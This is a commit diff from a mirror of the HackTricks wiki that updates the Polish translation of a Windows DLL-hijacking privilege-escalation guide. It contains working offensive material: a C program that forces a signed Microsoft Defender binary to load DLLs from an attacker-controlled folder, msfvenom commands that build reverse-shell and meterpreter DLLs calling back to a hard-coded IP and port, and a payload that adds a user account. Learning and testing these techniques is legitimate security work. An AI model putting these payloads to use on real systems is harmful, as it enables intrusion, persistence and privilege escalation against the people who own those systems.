mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
		
							parent
							
								
									4762a0ad55
								
							
						
					
					
						commit
						2930b8ebc5
					
				| @ -4,82 +4,174 @@ | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Basic Information | ||||
| ## Podstawowe informacje | ||||
| 
 | ||||
| DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania złośliwego DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection i Side-Loading**. Jest głównie wykorzystywany do wykonywania kodu, osiągania trwałości i, rzadziej, eskalacji uprawnień. Mimo że skupiamy się tutaj na eskalacji, metoda hijackingu pozostaje spójna w różnych celach. | ||||
| DLL Hijacking polega na zmanipulowaniu zaufanej aplikacji, aby załadowała złośliwy DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection, and Side-Loading**. Jest głównie wykorzystywany do wykonania kodu, uzyskania utrzymania dostępu (persistence) i, rzadziej, eskalacji uprawnień. Pomimo skupienia się tutaj na eskalacji, metoda hijackingu pozostaje taka sama niezależnie od celu. | ||||
| 
 | ||||
| ### Common Techniques | ||||
| ### Typowe techniki | ||||
| 
 | ||||
| W przypadku DLL hijacking stosuje się kilka metod, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji: | ||||
| Stosuje się kilka metod DLL hijackingu; ich skuteczność zależy od strategii ładowania DLL przez aplikację: | ||||
| 
 | ||||
| 1. **DLL Replacement**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL. | ||||
| 2. **DLL Search Order Hijacking**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji. | ||||
| 3. **Phantom DLL Hijacking**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL. | ||||
| 4. **DLL Redirection**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL. | ||||
| 5. **WinSxS DLL Replacement**: Zastępowanie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading. | ||||
| 6. **Relative Path DLL Hijacking**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution. | ||||
| 1. **DLL Replacement**: Podmiana prawdziwego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying, aby zachować oryginalną funkcjonalność. | ||||
| 2. **DLL Search Order Hijacking**: Umieszczenie złośliwego DLL w ścieżce przeszukiwania przed oryginalnym, wykorzystując wzorzec wyszukiwania aplikacji. | ||||
| 3. **Phantom DLL Hijacking**: Utworzenie złośliwego DLL, który aplikacja załaduje, myśląc, że to brakujący wymagany DLL. | ||||
| 4. **DLL Redirection**: Modyfikacja parametrów wyszukiwania, takich jak %PATH% lub pliki .exe.manifest / .exe.local, aby skierować aplikację do złośliwego DLL. | ||||
| 5. **WinSxS DLL Replacement**: Zastąpienie prawidłowego DLL złośliwym w katalogu WinSxS, metoda często związana z DLL side-loading. | ||||
| 6. **Relative Path DLL Hijacking**: Umieszczenie złośliwego DLL w katalogu kontrolowanym przez użytkownika razem ze skopiowaną aplikacją, przypominające techniki Binary Proxy Execution. | ||||
| 
 | ||||
| ## Finding missing Dlls | ||||
| ## Znajdowanie brakujących DLL | ||||
| 
 | ||||
| Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, **ustawiając** **następujące 2 filtry**: | ||||
| Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, i **ustawienie** **następujących 2 filtrów**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| i pokazując tylko **Aktywność systemu plików**: | ||||
| a następnie wyświetlenie tylko **File System Activity**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Jeśli szukasz **brakujących dll w ogóle**, powinieneś **pozostawić** to działające przez kilka **sekund**.\ | ||||
| Jeśli szukasz **brakującego dll w konkretnym pliku wykonywalnym**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", wykonać go i zatrzymać rejestrowanie zdarzeń**. | ||||
| Jeśli szukasz **brakujących dlli ogólnie**, pozostaw to działające przez kilka **sekund**.\ | ||||
| Jeśli szukasz **brakującego DLL w konkretnym pliku wykonywalnym**, powinieneś ustawić dodatkowy filtr, na przykład "Process Name" "contains" "\<exec name>", uruchomić go i zatrzymać przechwytywanie zdarzeń. | ||||
| 
 | ||||
| ## Exploiting Missing Dlls | ||||
| ## Wykorzystywanie brakujących DLL | ||||
| 
 | ||||
| Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, w którym dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze. | ||||
| Aby eskalować uprawnienia, najlepszą szansą jest móc **zapisac DLL, który proces z wyższymi uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie on przeszukiwany**. W efekcie możemy **zapisac** DLL w **folderze**, gdzie **DLL jest przeszukiwany przed** folderem zawierającym **oryginalny DLL** (dziwny przypadek), lub zapisać go w folderze, gdzie DLL będzie przeszukiwany, a oryginalny **DLL nie istnieje** w żadnym folderze. | ||||
| 
 | ||||
| ### Dll Search Order | ||||
| 
 | ||||
| **W dokumentacji** [**Microsoftu**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **możesz znaleźć, jak DLL są ładowane konkretnie.** | ||||
| **Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.** | ||||
| 
 | ||||
| **Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem z DLL hijacking pojawia się, gdy szkodliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL. | ||||
| Aplikacje Windows szukają DLL, podążając za zestawem **predefiniowanych ścieżek wyszukiwania**, w określonej kolejności. Problem DLL hijackingu pojawia się, gdy złośliwy DLL zostanie umieszczony strategicznie w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem jest upewnienie się, że aplikacja używa ścieżek absolutnych przy odwoływaniu się do wymaganych DLL. | ||||
| 
 | ||||
| Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poniżej: | ||||
| Poniżej widać **kolejność wyszukiwania DLL w systemach 32-bitowych**: | ||||
| 
 | ||||
| 1. Katalog, z którego aplikacja została załadowana. | ||||
| 2. Katalog systemowy. Użyj funkcji [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows\System32_) | ||||
| 3. Katalog systemu 16-bitowego. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_) | ||||
| 4. Katalog Windows. Użyj funkcji [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows_) | ||||
| 5. Bieżący katalog. | ||||
| 6. Katalogi wymienione w zmiennej środowiskowej PATH. Zauważ, że nie obejmuje to ścieżki per-aplikacji określonej przez klucz rejestru **App Paths**. Klucz **App Paths** nie jest używany przy obliczaniu ścieżki wyszukiwania DLL. | ||||
| 1. The directory from which the application loaded. | ||||
| 2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) | ||||
| 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) | ||||
| 4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. | ||||
| 1. (_C:\Windows_) | ||||
| 5. The current directory. | ||||
| 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. | ||||
| 
 | ||||
| To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączony, bieżący katalog awansuje na drugie miejsce. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona). | ||||
| To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączona, bieżący katalog awansuje na drugą pozycję. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona). | ||||
| 
 | ||||
| Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje. | ||||
| Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywołana z flagą **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje. | ||||
| 
 | ||||
| Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę, a nie tylko nazwę**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie). | ||||
| Na koniec, pamiętaj, że **DLL może być ładowany podając pełną ścieżkę zamiast tylko nazwy**. W takim przypadku ten DLL będzie **wyszukiwany tylko w tej ścieżce** (jeśli DLL ma zależności, będą one wyszukiwane tak, jakby były ładowane po nazwie). | ||||
| 
 | ||||
| Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie będę ich tu wyjaśniać. | ||||
| 
 | ||||
| ### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath | ||||
| 
 | ||||
| Zaawansowany sposób deterministycznego wpływania na ścieżkę wyszukiwania DLL nowo tworzonego procesu polega na ustawieniu pola DllPath w RTL_USER_PROCESS_PARAMETERS podczas tworzenia procesu za pomocą natywnych API ntdll. Dostarczając tutaj katalog kontrolowany przez atakującego, proces docelowy, który rozwiązuje importowany DLL po nazwie (bez ścieżki absolutnej i bez użycia bezpiecznych flag ładowania), może zostać zmuszony do załadowania złośliwego DLL z tego katalogu. | ||||
| 
 | ||||
| Key idea | ||||
| - Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives). | ||||
| - Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE. | ||||
| 
 | ||||
| Notes/limitations | ||||
| - This affects the child process being created; it is different from SetDllDirectory, which affects the current process only. | ||||
| - The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). | ||||
| - KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence. | ||||
| 
 | ||||
| Minimal C example (ntdll, wide strings, simplified error handling): | ||||
| ```c | ||||
| #include <windows.h> | ||||
| #include <winternl.h> | ||||
| #pragma comment(lib, "ntdll.lib") | ||||
| 
 | ||||
| // Prototype (not in winternl.h in older SDKs) | ||||
| typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( | ||||
| PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, | ||||
| PUNICODE_STRING ImagePathName, | ||||
| PUNICODE_STRING DllPath, | ||||
| PUNICODE_STRING CurrentDirectory, | ||||
| PUNICODE_STRING CommandLine, | ||||
| PVOID Environment, | ||||
| PUNICODE_STRING WindowTitle, | ||||
| PUNICODE_STRING DesktopInfo, | ||||
| PUNICODE_STRING ShellInfo, | ||||
| PUNICODE_STRING RuntimeData, | ||||
| ULONG Flags | ||||
| ); | ||||
| 
 | ||||
| typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( | ||||
| PUNICODE_STRING NtImagePathName, | ||||
| ULONG Attributes, | ||||
| PRTL_USER_PROCESS_PARAMETERS ProcessParameters, | ||||
| PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, | ||||
| PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, | ||||
| HANDLE ParentProcess, | ||||
| BOOLEAN InheritHandles, | ||||
| HANDLE DebugPort, | ||||
| HANDLE ExceptionPort, | ||||
| PRTL_USER_PROCESS_INFORMATION ProcessInformation | ||||
| ); | ||||
| 
 | ||||
| static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { | ||||
| DWORD n = GetModuleFileNameW(h, out, cch); | ||||
| for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } | ||||
| } | ||||
| 
 | ||||
| int wmain(void) { | ||||
| // Target Microsoft-signed, DLL-hijackable binary (example) | ||||
| const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; | ||||
| 
 | ||||
| // Build custom DllPath = directory of our current module (e.g., the unpacked archive) | ||||
| wchar_t dllDir[MAX_PATH]; | ||||
| DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); | ||||
| 
 | ||||
| UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; | ||||
| RtlInitUnicodeString(&uImage, image); | ||||
| RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); | ||||
| RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory | ||||
| RtlInitUnicodeString(&uCurDir, dllDir); | ||||
| 
 | ||||
| RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = | ||||
| (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); | ||||
| RtlCreateUserProcess_t pRtlCreateUserProcess = | ||||
| (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); | ||||
| 
 | ||||
| RTL_USER_PROCESS_PARAMETERS *pp = NULL; | ||||
| NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, | ||||
| NULL, NULL, NULL, NULL, NULL, 0); | ||||
| if (st < 0) return 1; | ||||
| 
 | ||||
| RTL_USER_PROCESS_INFORMATION pi = {0}; | ||||
| st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); | ||||
| if (st < 0) return 1; | ||||
| 
 | ||||
| // Resume main thread etc. if created suspended (not shown here) | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| Przykład użycia w praktyce | ||||
| - Umieść złośliwy xmllite.dll (eksportujący wymagane funkcje lub działający jako proxy dla prawdziwego) w katalogu DllPath. | ||||
| - Uruchom podpisany plik binarny znany z wyszukiwania xmllite.dll po nazwie przy użyciu powyższej techniki. Loader rozwiązuje import przez podany DllPath i sideloads your DLL. | ||||
| 
 | ||||
| This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory. | ||||
| 
 | ||||
| Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać. | ||||
| 
 | ||||
| #### Exceptions on dll search order from Windows docs | ||||
| 
 | ||||
| Niektóre wyjątki od standardowej kolejności wyszukiwania DLL są zauważane w dokumentacji Windows: | ||||
| W dokumentacji Windows opisano pewne wyjątki od standardowej kolejności wyszukiwania DLL: | ||||
| 
 | ||||
| - Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**. | ||||
| - W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL. | ||||
| - Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były wskazane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę. | ||||
| - Gdy napotkano **DLL, który ma taką samą nazwę jak już załadowany w pamięci**, system omija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu przed domyślnym użyciem DLL już znajdującego się w pamięci. **W tym scenariuszu system nie przeprowadza wyszukiwania dla tego DLL**. | ||||
| - W przypadkach, gdy DLL jest rozpoznawany jako **known DLL** dla bieżącej wersji Windows, system użyje swojej wersji tego known DLL oraz wszystkich jego zależnych DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych known DLL. | ||||
| - Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL przeprowadzane jest tak, jakby były wskazane tylko po ich **nazwach modułów**, niezależnie od tego, czy początkowy DLL był wskazany pełną ścieżką. | ||||
| 
 | ||||
| ### Escalating Privileges | ||||
| ### Eskalacja uprawnień | ||||
| 
 | ||||
| **Wymagania**: | ||||
| 
 | ||||
| - Zidentyfikuj proces, który działa lub będzie działał z **innymi uprawnieniami** (ruch poziomy lub boczny), który **nie ma DLL**. | ||||
| - Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej. | ||||
| - Zidentyfikuj proces, który działa lub będzie działać z **innymi uprawnieniami** (ruch poziomy lub lateralny), który **nie posiada DLL**. | ||||
| - Upewnij się, że masz **uprawnienia do zapisu** w dowolnym **katalogu**, w którym będzie **wyszukiwany** DLL. Lokalizacja ta może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej. | ||||
| 
 | ||||
| Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie uprzywilejowanego pliku wykonywalnego bez dll** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\ | ||||
| W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu). | ||||
| Tak, wymagania są trudne do znalezienia, ponieważ **domyślnie dość rzadko zdarza się znaleźć uprzywilejowany plik wykonywalny bez brakującego DLL** i jeszcze **dziwniejsze jest posiadanie uprawnień zapisu w folderze na ścieżce systemowej** (domyślnie tego nie masz). Jednak w źle skonfigurowanych środowiskach jest to możliwe.\ | ||||
| W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest bypass UAC**, możesz tam znaleźć **PoC** Dll hijacking dla wersji Windows, którego możesz użyć (prawdopodobnie wystarczy zmienić ścieżkę folderu, w którym masz uprawnienia zapisu). | ||||
| 
 | ||||
| Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując: | ||||
| Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze** wykonując: | ||||
| ```bash | ||||
| accesschk.exe -dqv "C:\Python27" | ||||
| icacls "C:\Python27" | ||||
| @ -93,29 +185,30 @@ Możesz również sprawdzić importy pliku wykonywalnego i eksporty dll za pomoc | ||||
| dumpbin /imports C:\path\Tools\putty\Putty.exe | ||||
| dumpbin /export /path/file.dll | ||||
| ``` | ||||
| Aby uzyskać pełny przewodnik na temat **wykorzystania Dll Hijacking do eskalacji uprawnień** z uprawnieniami do zapisu w **folderze System Path**, sprawdź: | ||||
| For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Narzędzia automatyczne | ||||
| ### Zautomatyzowane narzędzia | ||||
| 
 | ||||
| [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH.\ | ||||
| Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **funkcje PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._ | ||||
| [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w system PATH.\ | ||||
| Inne interesujące zautomatyzowane narzędzia do wykrywania tej luki to **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ oraz _Write-HijackDll_. | ||||
| 
 | ||||
| ### Przykład | ||||
| 
 | ||||
| W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, będzie **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity do SYSTEM**](#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ | ||||
| Ponadto, w **następnej sekcji** możesz znaleźć kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**. | ||||
| Jeżeli znajdziesz eksploatowalny scenariusz, jedną z najważniejszych rzeczy potrzebnych do pomyślnego wykorzystania będzie **utworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które plik wykonywalny będzie z niej importować**. Zauważ również, że Dll Hijacking jest przydatny do [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity to SYSTEM**](#from-high-integrity-to-system). Możesz znaleźć przykład **how to create a valid dll** w tym badaniu dotyczącym dll hijacking ukierunkowanym na wykonanie: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\ | ||||
| Co więcej, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **templates** lub do stworzenia **dll z eksportowanymi nieobowiązkowymi funkcjami**. | ||||
| 
 | ||||
| ## **Tworzenie i kompilowanie Dlls** | ||||
| 
 | ||||
| ### **Dll Proxifying** | ||||
| 
 | ||||
| W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami**, **przekazując wszystkie wywołania do prawdziwej biblioteki**. | ||||
| Zasadniczo **Dll proxy** to Dll zdolny do **wykonania twojego złośliwego kodu po załadowaniu**, a jednocześnie do **udostępniania** i **działania** zgodnie z oczekiwaniami poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**. | ||||
| 
 | ||||
| Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać wykonywalny plik i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**. | ||||
| Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać plik wykonywalny i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**. | ||||
| 
 | ||||
| ### **Meterpreter** | ||||
| 
 | ||||
| @ -127,13 +220,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll | ||||
| ```bash | ||||
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll | ||||
| ``` | ||||
| **Utwórz użytkownika (x86, nie widziałem wersji x64):** | ||||
| **Utwórz użytkownika (x86 — nie widziałem wersji x64):** | ||||
| ``` | ||||
| msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll | ||||
| ``` | ||||
| ### Twoje własne | ||||
| ### Własne | ||||
| 
 | ||||
| Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie w stanie ich załadować** i **eksploit się nie powiedzie**. | ||||
| Zauważ, że w wielu przypadkach Dll, który kompilujesz, musi **export several functions**, które zostaną załadowane przez proces ofiary; jeśli te funkcje nie istnieją, **binary won't be able to load** ich i **exploit will fail**. | ||||
| ```c | ||||
| // Tested in Win10 | ||||
| // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared | ||||
| @ -214,11 +307,14 @@ break; | ||||
| return TRUE; | ||||
| } | ||||
| ``` | ||||
| ## Odniesienia | ||||
| ## Źródła | ||||
| 
 | ||||
| - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) | ||||
| - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| - [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/) | ||||
| 
 | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -5,80 +5,172 @@ | ||||
| 
 | ||||
| ## Podstawowe informacje | ||||
| 
 | ||||
| DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania złośliwego DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection i Side-Loading**. Jest głównie wykorzystywany do wykonywania kodu, osiągania trwałości i, rzadziej, eskalacji uprawnień. Mimo że skupiamy się tutaj na eskalacji, metoda hijackingu pozostaje spójna w różnych celach. | ||||
| DLL Hijacking polega na zmanipulowaniu zaufanej aplikacji, aby załadowała złośliwy DLL. Termin ten obejmuje kilka taktyk takich jak **DLL Spoofing, Injection, and Side-Loading**. Metoda ta jest wykorzystywana głównie do wykonania kodu, uzyskania persistence i, rzadziej, privilege escalation. Mimo że tutaj koncentrujemy się na eskalacji, sposób hijackingu pozostaje ten sam niezależnie od celu. | ||||
| 
 | ||||
| ### Powszechne techniki | ||||
| ### Typowe techniki | ||||
| 
 | ||||
| W przypadku DLL hijacking stosuje się kilka metod, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji: | ||||
| Stosuje się kilka metod DLL hijackingu, z których skuteczność zależy od strategii ładowania DLL danej aplikacji: | ||||
| 
 | ||||
| 1. **Zastąpienie DLL**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL. | ||||
